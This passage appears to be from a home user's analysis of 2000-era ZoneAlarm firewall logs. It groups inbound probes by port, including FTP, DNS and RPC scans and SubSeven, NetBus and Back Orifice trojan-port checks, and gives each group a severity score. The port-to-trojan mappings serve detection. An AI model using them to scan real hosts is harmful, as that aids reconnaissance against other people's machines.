FWIN 8/12/00 11:54:08 -5:00 GMT	208.178.169.53 (-- nslookup failed --) -> myhost.home.com	TCP 80 -> 13777	Unknown	intended to be an unrequested pop-up that was blocked by ZoneAlarm.
FWIN 9/25/00 01:56:56 -5:00 GMT	206.41.20.84 (-- nslookup failed --) -> myhost.home.com	TCP 80 -> 14118	Unknown	
FWIN 10/25/00 18:21:26 -5:00 GMT	208.223.206.117 (-- nslookup failed --) -> myhost.home.com	TCP 80 -> 15508	Unknown	Destination Net Unreachable. IP Add block registered to Web Media Ventures Correlations: None Found
FWIN 10/25/00 18:24:14 -5:00 GMT	208.223.206.72 (-- nslookup failed --) -> myhost.home.com	TCP 80 -> 16018	Unknown	Destination Net Unreachable. IP Add block registered to Web Media Ventures Correlations: None Found

Category C: Apparently Unrequested RealAudio Traffic

Spoofed? Probably not

Description: Apparently unrequested packets addressed to port 6970 (RealAudio) on the local host. Could be reconnaissance or a scan for an already installed Trojan, but again, as a lone node, I saw no further incursion.

Mechanism: None apparent

Correlations: (embedded)

Active Targeting? Probably not. Many of these detects occurred at times my family was likely to surf the net, so they are probably (mostly) lost web packets, or traffic triggered by a website we were visiting at the time. Worst-case scenario: Trojan probe. Most-likely scenario: I blocked the sound that accompanied the website I was visiting

Severity: (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

Criticality: 5 – This is my one and only machine!

Lethality: 1 – I have no services running on those ports, but they now know I'm here (a ping would've been just as effective)

System Countermeasures: 1 – I'm a Windows box with RealAudio installed

Network Countermeasures: 5 – ZoneAlarm blocked the RealAudio Traffic (unless I clicked "Allow" on the ZoneAlarm Pop-up)

Severity = (5 + 1) – (1 + 5) = 6 – 6 = 0

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
FWIN 6/13/00 23:33:50 -5:00 GMT	209.83.166.184 (-- nslookup failed --) -> myhost.home.com	UDP 59197 -> 6970	RealAudio	CDNow Correlations: None Found, but the source company implies that this was probably not an attack
FWIN 9/17/00 20:06:24 -5:00 GMT	128.248.155.70 (daedalus.cc.uic.edu) -> myhost.home.com	UDP 8030 -> 6970	RealAudio	Source is the University of Illinois at Chicago main web server. Correlations: None Found, although I don't recall ever going to this website, so this seems to be coming out of the blue and therefore mildly

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
				suspicious
FWIN 9/29/00 23:26:40 -5:00 GMT	194.151.166.50 (millennium.netgate.nl) -> myhost.home.com	UDP 20518 -> 6971	RealAudio	Netherlands-based ISP Correlations: None Found, but the source of the traffic raises a flag
FWIN 10/1/00 00:20:02 -5:00 GMT	209.67.78.209 (-- nslookup failed --) -> myhost.home.com	UDP 4658 -> 6970	RealAudio	IP Add block registered to Exodus.net. Correlations: None Found
FWIN 10/10/00 22:08:36 -5:00 GMT	63.160.170.51 (-- nslookup failed --) -> myhost.home.com	UDP 18306 -> 6970	RealAudio	NextVenue.com - Internet Streaming Media service provider Correlations: None Found but the source company implies that this was probably not an attack
FWIN 10/10/00 22:16:40 -5:00 GMT	63.160.170.52 (-- nslookup failed --) -> myhost.home.com	UDP 31774 -> 6970		

Category D: Miscellaneous Connection Attempts

Spoofed? Probably not

Description: Connection attempts on various well-known ports, on a node where they had no business trying to connect. This was reconnaissance, looking for a vulnerable machine on home.com. Note also that several of the resolvable sources are outside the US.

Mechanism: Some appear to be a simple connection attempts. However, a successful connection could have been followed up with an exploit attempt. Others (shaded) are more obviously of evil intent.

Correlations: (embedded)

Active Targeting? No. These are hit-me-once-and-move-on hyenas, looking around for an easy meal.

Severity: (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

Criticality: 5 – This is my one and only machine!
Lethality: 5 – These are real vulnerability probes, with real exploits to follow
System Countermeasures: 3 – I'm a Windows box, but I'm not running these services
Network Countermeasures: 5 – ZoneAlarm blocked the traffic anyway

Severity = (5 + 5) – (3 + 5) = 10 – 8 = 2

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
FWIN 6/13/00 23:53:02 -5:00 GMT	4.23.70.245 (-- nslookup failed --) -> myhost.home.com	TCP 4197 -> 23	Telnet	IP Add block registered to "Valley Internet and Computing Solutions" Correlations: None Found
FWIN 6/17/00 00:25:42 -5:00 GMT	202.235.50.12 (-- nslookup failed --) -> myhost.home.com	TCP 65535 -> 8080	HTTP	IP Add block assigned to Asia Pacific NIC. Source Port of 65535 is a Flag! This may be a particular Trojan, or a scanning tool. Correlations: None Found
FWIN 7/9/00 15:40:38 -5:00 GMT	216.2.176.162 (176NA162.sdn.net.za) -> myhost.home.com	TCP 109 -> 109	POP2	South African Corporate ISP Normal POP2 connections do not come from a source port of 109. This is a specialized tool of some kind Correlations: None Found
FWIN 8/12/00 12:00:18 -5:00 GMT	211.46.122.121 (-- nslookup failed --) -> myhost.home.com	TCP 24699 -> 110	POP3	IP Add block assigned to Asia Pacific NIC Not pingable on 11/18/00 Correlations: None Found

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
FWIN 8/12/00 12:00:46 -5:00 GMT	211.46.122.121 (-- nslookup failed --) -> myhost.home.com	TCP 29220 -> 109	POP2	
FWIN 9/18/00 18:06:44 -5:00 GMT	24.17.10.116 (c660347-a.peoria1.il.home.com) -> myhost.home.com	TCP 4169 -> 6667	IRC	Home.com Correlations: None Found
FWIN 10/14/00 13:40:50 -5:00 GMT	208.191.223.169 (adsl-208-191-223-169.dsl.kscymo.swbell.net) -> myhost.home.com	TCP 23 -> 23	Telnet	From 23 to 23, From SW Bell, a US-based ISP Normal Telnets do not come from a source port of 23. This is a specialized tool of some kind Correlations: None Found
FWIN 10/25/00 19:46:36 -5:00 GMT	202.30.4.73 (exit.ajou.ac.kr) -> myhost.home.com	TCP 109 -> 109	POP2	Ajou University, Korea Correlations: None Found, but a University in Korea is somewhat suspect…
FWIN 11/14/00 17:17:44 -5:00 GMT	203.85.84.188 (-- nslookup failed --) -> myhost.home.com	TCP 2393 -> 515	LPD	IP Add block assigned to Asia Pacific NIC Correlations: None Found

Category E: FTP Connection Attempts

Spoofed? Probably not

Description: Connection attempts on Port 21, looking for an FTP server. This was reconnaissance, looking for a vulnerable machine on home.com. Note also that several of the resolvable sources are outside the US.

Mechanism: With one exception, these appear to be a simple connection attempts. However, a successful connection would probably have been followed up with an exploit attempt.

Correlations: There are a plethora of other FTP connect and exploit attempts documented on every Security website on the Internet. This is especially unsurprising given the recent discovery of the wuFTP vulnerability.

Active Targeting? No. These are hit-me-once-and-move-on hyenas, looking around for an easy meal.

Severity: (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

Criticality: 5 – This is my one and only machine!
Lethality: 5 – These are real vulnerability probes, with real exploits to follow
System Countermeasures: 3 – I'm a Windows box, but I'm not running an FTP server
Network Countermeasures: 5 – ZoneAlarm blocked the traffic anyway

Severity = (5 + 5) – (3 + 5) = 10 – 8 = 2

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
FWIN 7/4/00 13:38:54 -5:00 GMT	212.159.130.38 (ppp-2a-38.3com.telinco.net) -> myhost.home.com	TCP 3695 -> 21	FTP	UK-based ISP Correlations: A plethora of other attempts to compromise FTP in various ways
FWIN 7/7/00 21:54:28 -5:00 GMT	24.11.182.143 (cc996448-a.agusta1.ga.home.com) -> myhost.home.com	TCP 2212 -> 21	FTP	Home.com
FWIN 7/9/00 19:33:20 -5:00 GMT	209.54.151.13 (-- nslookup failed --) -> myhost.home.com	TCP 2157 -> 21	FTP	IP Add block registered to Career Education Corp, a private Business College
FWIN 7/27/00 21:40:28 -5:00	24.14.36.90 (ci113439-b.lusvil1.ky.home.com) ->	TCP 3622 -> 21	FTP	Home.com

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
GMT	myhost.home.com			
FWIN 8/5/00 18:32:20 -5:00 GMT	208.37.215.123 (-- nslookup failed --) -> myhost.home.com	TCP 21 -> 21	FTP	From Concentric.com, a US-based ISP Normal FTPs do not come from source port 21! This is a special tool of some kind.
FWIN 8/6/00 16:53:52 -5:00 GMT	212.170.19.199 (-- nslookup failed --) -> myhost.home.com	TCP 1784 -> 21	FTP	IP Add block assigned to ripe.net, a European NIC
FWIN 8/16/00 18:23:04 -5:00 GMT	166.114.39.145 (-- nslookup failed --) -> myhost.home.com	TCP 63668 -> 21	FTP	From Bolivia – Possibly from the University of Bolivia
FWIN 8/26/00 17:21:06 -5:00 GMT	195.224.163.226 (-- nslookup failed --) -> myhost.home.com	TCP 4307 -> 21	FTP	IP Add block assigned to ripe.net, a European NIC
FWIN 9/3/00 20:50:42 -5:00 GMT	195.154.203.145 (-- nslookup failed --) -> myhost.home.com	TCP 1697 -> 21	FTP	IP Add block assigned to ripe.net, a European NIC
FWIN 9/16/00 22:35:40 -5:00 GMT	62.180.221.112 (f-221-112.cvx.ipdial.viaginterkom.de) -> myhost.home.com	TCP 4328 -> 21	FTP	German ISP
FWIN 9/18/00 20:41:06 -5:00 GMT	24.91.59.156 (-- nslookup failed --) -> myhost.home.com	TCP 4092 -> 21	FTP	Continental CableVision, Boston-based ISP
FWIN 9/20/00 20:52:08 -5:00 GMT	24.23.52.132 (cc59283-a.hwrd1.md.home.com) -> myhost.home.com	TCP 21 -> 21	FTP	Normal FTPs do not come from source port 21! This is a special tool of some kind.
FWIN 9/24/00 20:02:24 -5:00 GMT	195.34.147.234 (TK147234.univie.teleweb.at) -> myhost.home.com	TCP 4834 -> 21	FTP	Austrian-based ISP
FWIN 10/8/00 15:36:30 -5:00 GMT	203.63.54.226 (-- nslookup failed --) -> myhost.home.com	TCP 4379 -> 21	FTP	IP Add block assigned to Asia Pacific NIC
FWIN 10/8/00 21:19:16 -5:00 GMT	206.212.47.168 (MUBB168.MARSHALL.EDU) -> myhost.home.com	TCP 4450 -> 21	FTP	Marshall University, WV
FWIN 10/14/00 13:39:02 -5:00 GMT	24.9.84.147 (cc220473-a.union1.nj.home.com) -> myhost.home.com	TCP 1152 -> 21	FTP	Home.com
FWIN 10/21/00 19:00:20 -5:00 GMT	62.227.201.120 (p3EE3C978.dip.t-dialin.net) -> myhost.home.com	TCP 4840 -> 21	FTP	IP Add block assigned to ripe.net, a European NIC

Category F: DNS Connection Attempts

Spoofed? Probably not

Description: Connection attempts on TCP 53, as if the request was coming from a real DNS server that had already tried UDP. This was reconnaissance, looking for a vulnerable DNS server or possibly an active Trojan on home.com.

Mechanism: These appear to be DNS server connection attempts (with one shaded exception). However, since I am not a DNS server this is extremely suspect.

Correlations: There are a plethora of BIND vulnerabilities and exploits documented on every Security website on the Internet. (surpassed only by Sendmail)

Active Targeting? No. These are hit-me-once-and-move-on hyenas, looking around for an easy meal.

Severity: (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

Criticality: 5 – This is my one and only machine!
Lethality: 5 – These are real vulnerability probes, with real exploits ready to follow
System Countermeasures: 3 – I'm a Windows box, but I'm not running a DNS server
Network Countermeasures: 5 – ZoneAlarm blocked the traffic anyway

Severity = (5 + 5) – (3 + 5) = 10 – 8 = 2

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
FWIN 5/27/00 22:23:22 -5:00 GMT	24.14.151.181 (c183408-a.stcla1.sfba.home.com) -> myhost.home.com	TCP 4592 -> 53	DNS	Home.com. Part of a 3-packet scan Specific Correlations: None Found
FWIN 5/27/00 22:49:32 -5:00 GMT	24.14.151.181 (c183408-a.stcla1.sfba.home.com) -> myhost.home.com	TCP 2349 -> 53		
FWIN 5/27/00 23:01:04 -5:00 GMT	24.14.151.181 (c183408-a.stcla1.sfba.home.com) -> myhost.home.com	TCP 4072 -> 53		
FWIN 6/7/00 22:01:40 -5:00 GMT	206.225.55.66 (-- nslookup failed --) -> myhost.home.com	TCP 3591 -> 53	DNS	Texas-based ISP Specific Correlations: None Found
FWIN 6/11/00 11:16:50 -5:00 GMT	164.164.23.5 (server.easi.soft.net) -> myhost.home.com	TCP 29412 -> 53	DNS	Site in India Specific Correlations: None Found
FWIN 6/24/00 11:30:20 -5:00 GMT	203.197.144.137 (-- nslookup failed --) -> myhost.home.com	TCP 53 -> 53	DNS	IP Add block assigned to Asia Pacific NIC Specific Correlations: None Found
FWIN 8/7/00 20:41:58 -5:00 GMT	208.171.98.178 (cm-208-171-98-178.coralsprings.ispchannel.com) -> myhost.home.com	TCP 3928 -> 53	DNS	California-based ISP Specific Correlations: None Found

Category G: RPC Connection Attempts

Spoofed? Probably not

Description: RPC connection attempts on TCP 111. However most RPC implementations use UDP 111, so this is a little suspect from the get-go. This is reconnaissance, looking for a vulnerable box running RPC or possibly an active Trojan.

Mechanism: These are pretend/normal RPC connection attempts - with three shaded exceptions.

Correlations: There are plenty of RPC vulnerabilities and exploits documented on every Security website on the Internet.

Active Targeting? No. These are hit-me-once-and-move-on hyenas, looking around for an easy meal.

Severity: (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

Criticality: 5 – This is my one and only machine!
Lethality: 5 – These are real vulnerability probes, with real exploits ready to follow
System Countermeasures: 3 – I'm a Windows box and I'm not running RPC services
Network Countermeasures: 5 – ZoneAlarm blocked the traffic anyway

Severity = (5 + 5) – (3 + 5) = 10 – 8 = 2

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
FWIN 5/19/00 21:42:10 -5:00 GMT	195.154.202.153 (-- nslookup failed --) -> myhost.home.com	TCP 2666 -> 111	RPC	IP Add block assigned to ripe.net, a European NIC Specific Correlations: None Found
FWIN 6/8/00 17:45:32 -5:00 GMT	203.129.242.39 (-- nslookup failed --) -> myhost.home.com	TCP 111 -> 111	RPC	IP Add block assigned to Asia Pacific NIC Real RPC requests don't come from TCP 111! Specific Correlations: None Found
FWIN 8/25/00 20:23:48 -5:00 GMT	141.223.79.68 (-- nslookup failed --) -> myhost.home.com	TCP 2372 -> 111	RPC	IP Add block registered to Pohang Institute of Science and Tech, Korea Specific Correlations: None Found
FWIN 10/14/00 17:33:08 -5:00 GMT	192.33.182.176 (-- nslookup failed --) -> myhost.home.com	TCP 1713 -> 111	RPC	Institut Galilee, France Specific Correlations: None Found
FWIN 10/26/00 19:13:48 -5:00 GMT	63.204.247.108 (adsl-63-204-247-108.dsl.lsan03.pacbell.net) -> myhost.home.com	TCP 1631 -> 111	RPC	From home ISP Specific Correlations: None Found
FWIN 10/29/00 16:34:42 -5:00 GMT	210.20.43.35 (cj3017452-a.nrima1.kt.home.ne.jp) -> myhost.home.com	TCP 10101 -> 111	RPC	Japanese ISP? **Correlations**: Scans from source port 10101 –
FWIN 10/29/00 16:54:56 -5:00 GMT	12.10.153.73 (gannett.trib.com) -> myhost.home.com	TCP 10101 -> 111	RPC	Wyoming-based ISP
FWIN 10/29/00 22:17:52 -5:00 GMT	192.71.20.155 (snuck.testbed.era.ericsson.se) -> myhost.home.com	TCP 10101 -> 111	RPC	Ericsson, Swedish Cel-phone Company The hostname is somewhat suspicious Three attempts from different hosts and the same source port within 6 hours of each other? Something funny's going on here… **Correlations**: Scans from source port 10101 - http://www.sans.org/y2k/110800-0900.htm, http://www.sans.org/y2k/110700.htm

Category H: Popular Trojans

Spoofed? Probably not
Description: Connection attempt on a well-known Trojan port
Mechanism: Looking for a machine already running a well-known Trojan.
Correlations: All the correlation you want on the Trojans themselves, and scans for them documented on every Security website on the Internet.
Active Targeting? With one exception (shaded), no. These are mostly hit-me-once-and-move-on hyenas, looking around for an easy meal.
Severity: (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

Criticality: 5 – This is my one and only machine!
Lethality: 5 – There is no hiding the fact that these are evil acts!
System Countermeasures: 2 – I'm a Windows box and a favorite target of these Trojans
Network Countermeasures: 5 – Yet again, ZoneAlarm saves the day.

Severity = (5 + 5) – (2 + 5) = 10 – 7 = 3

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
FWIN 5/21/00 18:29:04 -5:00 GMT	24.64.243.2 (h24-64-243-2.cg.shawcable.net) -> myhost.home.com	TCP 3347 -> 27374	SubSeven 2.1	Shaw Communications - Canadian ISP Specific Correlations: None Found
FWIN 5/21/00 18:43:04 -5:00 GMT	24.64.243.2 (h24-64-243-2.cg.shawcable.net) -> myhost.home.com	TCP 3281 -> 27374		
FWIN 6/5/00 22:22:22 -5:00 GMT	24.214.20.141 (user-24-214-20-141.knology.net) -> myhost.home.com	TCP 4324 -> 27374	SubSeven 2.1	Knology.net - Georgia-based ISP Correlations:*
FWIN 6/23/00 17:23:54 -5:00 GMT	24.23.73.173 (cg184658-a.adubn1.nj.home.com) -> myhost.home.com	UDP 3010 -> 22	PC Anywhere 8.x	A PC Anywhere fan Specific Correlations: None Found
FWIN 6/23/00 17:23:54 -5:00 GMT	24.23.73.173 (cg184658-a.adubn1.nj.home.com) -> myhost.home.com	UDP 3010 -> 5632	PC Anywhere 9.x	
FWIN 6/23/00 22:46:10 -5:00 GMT	62.6.94.115 (host62-6-94-115.btinternet.com) -> myhost.home.com	TCP 3329 -> 27374	SubSeven 2.1	British Telecomm - UK-based ISP Specific Correlations: None Found
FWIN 6/25/00 10:38:02 -5:00 GMT	24.95.54.211 (dhcp9554211.columbus.rr.com) -> myhost.home.com	TCP 4075 -> 27374	SubSeven 2.1	RoadRunner - US-based-ISP Specific Correlations: None Found
FWIN 7/2/00 09:47:06 -5:00 GMT	24.161.48.194 (cm-24-161-48-194.nycap.rr.com) -> myhost.home.com	TCP 4307 -> 27374	SubSeven 2.1	RoadRunner - US-based-ISP Specific Correlations: None Found
FWIN 7/4/00 15:31:04 -5:00 GMT	206.97.109.106 (pool-206-97-109-106.loa.com) -> myhost.home.com	TCP 3993 -> 27374	SubSeven 2.1	Log-on America, US-based ISP Specific Correlations: None Found
FWIN 7/7/00 19:02:26 -5:00 GMT	24.23.28.120 (cc11716-a.brick1.nj.home.com) -> myhost.home.com	TCP 3819 -> 27374	SubSeven 2.1	Home.com Specific Correlations: None Found
FWIN 7/15/00 11:45:10 -5:00 GMT	24.23.131.40 (cx536064-b.chspk1.va.home.com) -> myhost.home.com	TCP 4921 -> 1243	SubSeven	Home.com Specific Correlations: None Found
FWIN 7/15/00 12:20:14 -5:00 GMT	4.16.34.136 (PPPa29-ResaleMonterey1-3R1017.saturn.bbn.com) -> myhost.home.com	TCP 4753 -> 27374	SubSeven 2.1	BBN.com - US-based ISP Specific Correlations: None Found
FWIN 7/28/00 22:16:32 -5:00 GMT	172.155.87.24 (AC9B5718.ipt.aol.com) -> myhost.home.com	TCP 1328 -> 27374	SubSeven 2.1	AOL.com Specific Correlations: None Found
FWIN 8/5/00 14:33:34 -5:00 GMT	194.186.233.10 (usis.kz) -> myhost.home.com	TCP 27374 -> 27374	SubSeven 2.1	US Embassy Web server in Kazakhstan DANGER: US Embassy Website is checking me out for SubSeven? Specific Correlations: None Found
FWIN 8/8/00 10:44:34 -5:00 GMT	216.225.80.204 (-- nslookup failed --) -> myhost.home.com	TCP 2264 -> 27374	SubSeven 2.1	Freel.net (a.k.a. netzero) - Canadian ISP Specific Correlations: None Found
FWIN 8/8/00 11:02:42 -5:00 GMT	216.225.80.204 (-- nslookup failed --) -> myhost.home.com	TCP 2879 -> 27374		
FWIN 8/8/00	24.26.171.120	TCP	SubSeven	RoadRunner - US-based-ISP

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
22:28:02 -5:00 GMT	(msp-26-171-120.mn.rr.com) -> myhost.home.com	2838 -> 27374	2.1	Specific Correlations: None Found
FWIN 8/12/00 12:29:16 -5:00 GMT	203.76.129.48 (-- nslookup failed --) -> myhost.home.com	TCP 1928 -> 12345	NetBus	IP Add block assigned to Asia Pacific NIC Specific Correlations: None Found
FWIN 8/12/00 13:33:34 -5:00 GMT	24.14.252.68 (cx10467-b.chnd1.az.home.com) -> myhost.home.com	TCP 3219 -> 1243	SubSeven	Home.com Specific Correlations: None Found
FWIN 8/12/00 22:52:24 -5:00 GMT	24.222.77.149 (ts2-149.brg.tallships.ca) -> myhost.home.com	TCP 1751 -> 12345	NetBus	Canadian ISP Specific Correlations: None Found
FWIN 8/12/00 23:01:44 -5:00 GMT	24.132.78.62 (node14e3e.a2000.nl) -> myhost.home.com	TCP 4668 -> 12345	NetBus	Netherlands-based ISP Specific Correlations: None Found
FWIN 8/12/00 23:03:28 -5:00 GMT	24.19.29.8 (c118869-a.mason1.ia.home.com) -> myhost.home.com	TCP 4527 -> 27374	SubSeven 2.1	Home.com Specific Correlations: None Found
FWIN 8/13/00 15:11:24 -5:00 GMT	24.29.173.105 (woh-29-173-105.woh.rr.com) -> myhost.home.com	TCP 4270 -> 27374	SubSeven 2.1	RoadRunner - US-based-ISP Specific Correlations: None Found
FWIN 8/13/00 16:40:44 -5:00 GMT	24.108.20.226 (dy24-108-20-226.powersurfr.com) -> myhost.home.com	TCP 3005 -> 12345	NetBus	IP Add block assigned to Videon CableSystems, Alberta (Canada?) Specific Correlations: None Found
FWIN 8/13/00 18:16:48 -5:00 GMT	24.22.42.41 (cc649497-a.aboite1.in.home.com) -> myhost.home.com	TCP 3858 -> 27374	SubSeven 2.1	Home.com Specific Correlations: None Found
FWIN 8/14/00 07:42:02 -5:00 GMT	216.225.80.53 (-- nslookup failed --) -> myhost.home.com	TCP 3137 -> 27374	SubSeven 2.1	Freel.net (a.k.a. netzero) - Canadian ISP Specific Correlations: None Found
FWIN 8/16/00 21:29:50 -5:00 GMT	63.10.61.106 (1Cust106.tnt1.pittsburgh.pa.da.uu.net) -> myhost.home.com	UDP 1138 -> 31337	Back Orifice	UUNet - US-based ISP Specific Correlations: None Found
FWIN 8/20/00 22:08:20 -5:00 GMT	24.22.230.73 (cc94667-a.aboite1.in.home.com) -> myhost.home.com	TCP 2747 -> 27374	SubSeven 2.1	Home.com Specific Correlations: None Found
FWIN 8/26/00 14:13:58 -5:00 GMT	216.209.235.24 (HSE-Windsor-145923.sympatico.ca) -> myhost.home.com	TCP 2204 -> 27374	SubSeven 2.1	Sympatico - Canadian ISP Specific Correlations: None Found
FWIN 8/26/00 15:23:10 -5:00 GMT	24.18.115.163 (cc1002677-e.sumt1.nj.home.com) -> myhost.home.com	TCP 4561 -> 27374	SubSeven 2.1	Home.com Specific Correlations: None Found
FWIN 8/28/00 20:20:04 -5:00 GMT	24.218.72.137 (h00010241ca80.ne.mediaone.net) -> myhost.home.com	UDP 1558 -> 31337	Back Orifice	From Media One, US-based ISP Specific Correlations: None Found
FWIN 9/8/00 19:39:50 -5:00 GMT	24.12.30.125 (c642410-a.stbnvl1.oh.home.com) -> myhost.home.com	TCP 3142 -> 27374	SubSeven 2.1	Home.com Specific Correlations: None Found
FWIN 9/11/00 20:43:04 -5:00 GMT	24.218.93.38 (h0050da5f78d5.ne.mediaone.net) -> myhost.home.com	TCP 2782 -> 27374	SubSeven 2.1	From Media One, US-based ISP Specific Correlations: None Found
FWIN 9/19/00 22:14:18 -5:00 GMT	24.23.73.18 (cg156583-a.adubn1.nj.home.com) -> myhost.home.com	UDP 1065 -> 22	PC Anywhere 8.x	This Homey's a busy boy… Specific Correlations: None Found

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
FWIN 9/19/00 22:14:50 -5:00 GMT	24.23.73.18 (cg156583-a.adubn1.nj.home.com) -> myhost.home.com	UDP 1072 -> 22	PC Anywhere 8.x	
FWIN 9/19/00 22:14:50 -5:00 GMT	24.23.73.18 (cg156583-a.adubn1.nj.home.com) -> myhost.home.com	UDP 1072 -> 5632	PC Anywhere 9.x	
FWIN 9/19/00 22:15:22 -5:00 GMT	24.23.73.18 (cg156583-a.adubn1.nj.home.com) -> myhost.home.com	UDP 1077 -> 22	PC Anywhere 8.x	
FWIN 9/19/00 22:15:22 -5:00 GMT	24.23.73.18 (cg156583-a.adubn1.nj.home.com) -> myhost.home.com	UDP 1077 -> 5632	PC Anywhere 9.x	
.....	.....	.....	.....	
FWIN 9/19/00 22:32:02 -5:00 GMT	24.23.73.18 (cg156583-a.adubn1.nj.home.com) -> myhost.home.com	UDP 1109 -> 22	PC Anywhere 8.x	
FWIN 9/19/00 22:32:02 -5:00 GMT	24.23.73.18 (cg156583-a.adubn1.nj.home.com) -> myhost.home.com	UDP 1109 -> 5632	PC Anywhere 9.x	
FWIN 9/23/00 15:51:18 -5:00 GMT	24.23.179.31 (cc712325-a.chstfld1.va.home.com) -> myhost.home.com	TCP 3523 -> 1243	SubSeven	Home.com (I don't know of a Trojan running on the IRC port, but I put it here as a correlation) Specific Correlations: None Found
FWIN 9/23/00 16:32:56 -5:00 GMT	24.23.179.31 (cc712325-a.chstfld1.va.home.com) -> myhost.home.com	TCP 3801 -> 6667	IRC	
FWIN 9/30/00 00:28:48 -5:00 GMT	172.139.16.50 (AC8B1032.ipt.aol.com) -> myhost.home.com	TCP 3564 -> 1234	Ultors	From AOL.com Specific Correlations: None Found
FWIN 10/4/00 00:15:02 -5:00 GMT	24.18.17.191 (ci42703-a.athen1.ga.home.com) -> myhost.home.com	TCP 4244 -> 27374	SubSeven 2.1	Home.com Specific Correlations: None Found
FWIN 10/5/00 20:52:52 -5:00 GMT	24.168.227.42 (va-24-168-227-42.va.mediaone.net) -> myhost.home.com	TCP 2907 -> 1243	SubSeven	From Media One, US-based ISP Specific Correlations: None Found
FWIN 10/6/00 20:53:12 -5:00 GMT	210.221.246.19 (-- nslookup failed --) -> myhost.home.com	TCP 1183 -> 12345	NetBus	IP Add block assigned to Asia Pacific NIC Specific Correlations: None Found
FWIN 10/8/00 13:05:02 -5:00 GMT	211.33.111.237 (s211-33-111-237.thrunet.ne.kr) -> myhost.home.com	TCP 1256 -> 12345	NetBus	Korean ISP? Specific Correlations: None Found
FWIN 10/8/00 14:38:38 -5:00 GMT	216.78.142.63 (adsl-78-142-63.atl.bellsouth.net) -> myhost.home.com	TCP 3937 -> 12345	NetBus	From US-based ISP Specific Correlations: None Found
FWIN 10/8/00 17:22:28 -5:00 GMT	24.11.193.86 (cx718372-a.msnv1.occa.home.com) -> myhost.home.com	TCP 4304 -> 1243	SubSeven	Home.com Specific Correlations: None Found
FWIN 10/8/00	211.37.41.228	TCP	NetBus	IP Add block assigned to Asia Pacific NIC

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
18:44:00 -5:00 GMT	(-- nslookup failed --) -> myhost.home.com	1380 -> 12345		Specific Correlations: None Found, but it's kinda close in time to the next detect…
FWIN 10/8/00 18:59:22 -5:00 GMT	63.110.120.165 (tc1-165.conectate.com.uy) -> myhost.home.com	TCP 3338 -> 12345	NetBus	From Uruguay-based ISP Specific Correlations: None Found, but it's kinda close in time to the previous detect…
FWIN 10/8/00 21:06:30 -5:00 GMT	211.61.38.216 (-- nslookup failed --) -> myhost.home.com	TCP 1969 -> 12345	NetBus	IP Add block assigned to Asia Pacific NIC Specific Correlations: None Found
FWIN 10/10/00 17:31:14 -5:00 GMT	63.95.64.224 (224.64.95.63.nat.harte-hanks.com) -> myhost.home.com	TCP 4199 -> 27374	SubSeven 2.1	Harte-Hanks.com - Internet Marketing Company Specific Correlations: None Found
FWIN 10/19/00 22:06:00 -5:00 GMT	24.71.3.200 (-- nslookup failed --) -> myhost.home.com	TCP 4145 -> 27374	SubSeven 2.1	Shaw Communications – Canadian ISP Specific Correlations: None Found
FWIN 10/21/00 12:30:20 -5:00 GMT	24.18.82.62 (cc645220-a.mtcm1.md.home.com) -> myhost.home.com	TCP 1984 -> 27374	SubSeven 2.1	Home.com Specific Correlations: None Found
FWIN 10/22/00 17:27:44 -5:00 GMT	193.83.77.195 (adsl195.ac08-wien.AT.KPNQwest.net) -> myhost.home.com	TCP 1085 -> 27374	SubSeven 2.1	IP Add block assigned to ripe.net, a European NIC Specific Correlations: None Found
FWIN 10/29/00 21:17:08 -5:00 GMT	24.19.146.101 (c885550-a.ptlum1.sfba.home.com) -> myhost.home.com	TCP 1186 -> 27374	SubSeven 2.1	Home.com Specific Correlations: None Found
FWIN 11/6/00 22:18:04 -5:00 GMT	24.20.194.41 (cx935500-b.cv1.sdca.home.com) -> myhost.home.com	TCP 2951 -> 1243	SubSeven	Home.com Specific Correlations: None Found
FWIN 11/10/00 11:13:54 -5:00 GMT	208.61.122.120 (adsl-61-122-120.mia.bellsouth.net) -> myhost.home.com	TCP 4051 -> 27374	SubSeven 2.1	Bell South - US-based ISP Specific Correlations: None Found

Category I: A Node to be Worried About

Spoofed? Possibly, but probably not…

Description: Scanner-like tool looking for two Unix-style services with lethal exploits

Mechanism: Real DNS servers don't talk from TCP 53, and real RPC servers don't talk from TCP 111. This is a scanner of some kind. And if this node is really some company's mail server, then it may have been compromised.

Correlations: Similar activities from this node on the same day are correlated at http://www.sans.org/y2k/061300.htm, and at http://www.sans.org/y2k/061500-1500.htm.

Active Targeting? No. This guy hit me once and moved on.

Severity: (Criticality + Lethality) – (System Countermeasures + Network Countermeasures)

Criticality: 5 – This is my one and only machine!
Lethality: 5 – Oh yeah…
System Countermeasures: 4 – I'm a Windows box but not running either of these services
Network Countermeasures: 5 – Yet again, ZoneAlarm saves the day.

Severity = (5 + 5) – (4 + 5) = 10 – 9 = 1

Type Date Time	Source IP Address (hostname) -> Destination host	Transport SrcPort -> DstPort	Service/ Attack	Interesting Details & Correlations
